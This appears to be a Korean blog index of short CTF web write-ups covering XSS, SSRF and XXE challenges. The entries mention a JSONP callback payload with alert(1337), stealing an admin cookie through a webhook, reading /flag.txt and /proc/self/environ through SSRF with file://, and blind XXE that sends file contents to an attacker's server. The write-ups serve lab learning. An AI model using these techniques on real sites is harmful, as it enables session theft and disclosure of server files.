write-up(web)/G04T

    [G04T] Simple XSS 2

    [G04T] Simple XSS 2

    문제 정보입니다. 문제 화면입니다. XSS 1 문제와 동일하게 구성되어 있습니다. 메모 페이지에서 스크립트 태그를 넣어서 실행되는지 확인해줍니다. 입력 값을 모두 대문자로 바꿔줘서 스크립트 태그 안에 있는 함수들이 실행되지 않습니다. 이 문제의 핵심은 sciprt와 src는 대소문자 관계없이 정상적으로 작동한다는 점 입니다. 이를 우회하기위해 JSONP에 사용되는 src 중 하나인 https://accounts.google.com/o/oauth2/revoke?callback=alert(1337) 을 사용해 주겠습니다. 이걸 그냥 넣으면 대문자로 나옵니다. 이 때 사용되는게 HTML Entity Encoding 입니다. 엔티티 인코딩해줘서 넣어주면 페이로드가 사라집니다. 중간에 들어가는 & 문자 때문인 것..

    [G04T] Simple XSS 1

    [G04T] Simple XSS 1

    문제 정보입니다. 플래그는 admin의 쿠키 값으로 저장되어 있습니다. 문제 페이지에 접속하면 Home, Memo, Report 총 3가지 페이지가 있습니다. Report 페이지에서 링크를 관리자 봇에게 보내서 읽게 할 수 있습니다. 메모 페이지에 들어가보면 memo 파라미터의 값을 태그에 적어줍니다. memo 파라미터에 스크립트 태그를 넣자 실행됩니다. (XSS 취약점 발견) 이제 리포트 페이지에서 페이로드를 작성합니다. 스크립트 태그를 통해 웹훅 사이트로 리다이렉트시켜 쿠키 값을 받는 구문을 작성합니다. 페이로드는 아래와 같습니다. http://127.0.0.1/memo?memo= (+document.cookie는 URL 인코딩해서 작성해줘야 합니다) 플래그가 나왔습니다!

    [G04T] Simple SSRF 2

    [G04T] Simple SSRF 2

    문제 정보입니다. 플래그는 환경 변수에 있다고 합니다. 취약점은 이전 SSRF 1 문제와 동일합니다. 환경변수는 /proc/self/environ에 위치합니다. 해당 경로를 입력하면 플래그가 나옵니다~ 참고 https://ssongkit.tistory.com/148 [G04T] Simple SSRF 1 문제 정보입니다. /flag.txt에 플래그가 있습니다. 접속하면 이런 화면이 나옵니다. 사용자는 url로 웹서버에 요청을 할 수 있으며 그 값은 get방식으로 전달됩니다. 사용자가 이미지나 웹 사이트 정 ssongkit.tistory.com

    [G04T] Simple SSRF 1

    [G04T] Simple SSRF 1

    문제 정보입니다. /flag.txt에 플래그가 있습니다. 접속하면 이런 화면이 나옵니다. 사용자는 url로 웹서버에 요청을 할 수 있으며 그 값은 get방식으로 전달됩니다. 사용자가 이미지나 웹 사이트 정보를 조회할 수 있을 때 ssrf 취약점이 발생합니다. 임의의 경로(웹 서버만 접근 가능한 파일)를 지정하게 되면 해당 경로를 웹 서버가 읽어들여 반환하여 중요 데이터가 유출될 수 있습니다. 이렇게 주요 정보를 캐낼 수도 있습니다. (file:// scheme은 내부 파일 시스템을 가리키는 url schema) url에 플래그의 경로를 입력해주면 플래그가 나왔습니다~

    [G04T] Simple XXE 3

    [G04T] Simple XXE 3

    문제 화면입니다. 힌트를 보니 플래그는 /flag.txt에 있습니다. 1번 문제처럼 시도해보니 success 라고만 나오고 결과를 주지 않습니다. 이렇게 결과가 나오지 않을 때 blind xxe injection을 활용할 수 있습니다. https://ngaa.tistory.com/24 Blind XXE Payload %dtd; ]> &request; hacker dtd fi.. ngaa.tistory.com (base64로 인코딩해주지 않으면 값이 나오지 않습니다) content type을 text/xml로 바꿔주고 response body에 그림과 같이 넣어줍니다. payload는 위 그림과 같이 작성해주면 됩니다. 먼저 file 엔티티에 플래그가 저장됩니다. 다음으로 dtd에 공격자의 webhook의..